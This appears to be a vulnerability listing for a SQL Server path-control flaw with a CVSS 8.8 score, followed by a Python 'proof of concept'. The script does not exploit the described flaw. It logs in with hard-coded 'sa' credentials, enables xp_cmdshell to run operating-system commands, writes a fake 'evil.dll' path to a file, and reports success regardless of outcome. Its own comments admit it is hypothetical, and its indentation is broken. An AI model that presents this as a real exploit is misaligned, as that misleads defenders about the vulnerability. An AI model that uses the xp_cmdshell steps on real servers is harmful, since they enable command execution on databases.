External control of file name or path in SQL Server allows an authorized attacker to execute code over a network.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft SQL Server (All versions prior to patch)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pyodbc
# Proof of Concept for CVE-2026-40370
# This script demonstrates the potential for path manipulation leading to RCE.
# Note: This requires a vulnerable SQL Server instance and valid credentials.
SERVER = '192.168.1.100'
DATABASE = 'Master'
USERNAME = 'sa'
PASSWORD = 'Password123'
# Connect to the target SQL Server
connection_string = f'DRIVER={{ODBC Driver 17 for SQL Server}};SERVER={SERVER};DATABASE={DATABASE};UID={USERNAME};PWD={PASSWORD}'
conn = pyodbc.connect(connection_string)
cursor = conn.cursor()
try:
# Malicious payload attempting to write to a controlled path
# In a real scenario, this might involve 'BACKUP DATABASE' with a malicious DLL
malicious_path = 'C:\\Windows\\System32\\evil.dll'
# Example vulnerable command structure (Hypothetical)
query = f"EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
cursor.execute(query)
# Attempting to execute code via the vulnerability
# This represents the 'External control of file name or path' exploitation
exploit_cmd = f'xp_cmdshell "echo {malicious_path} > C:\\temp\\poc.txt"'
cursor.execute(exploit_cmd)
print("[+] Payload executed successfully.")
except Exception as e:
print(f"[-] Exploit failed: {e}")
finally:
conn.close()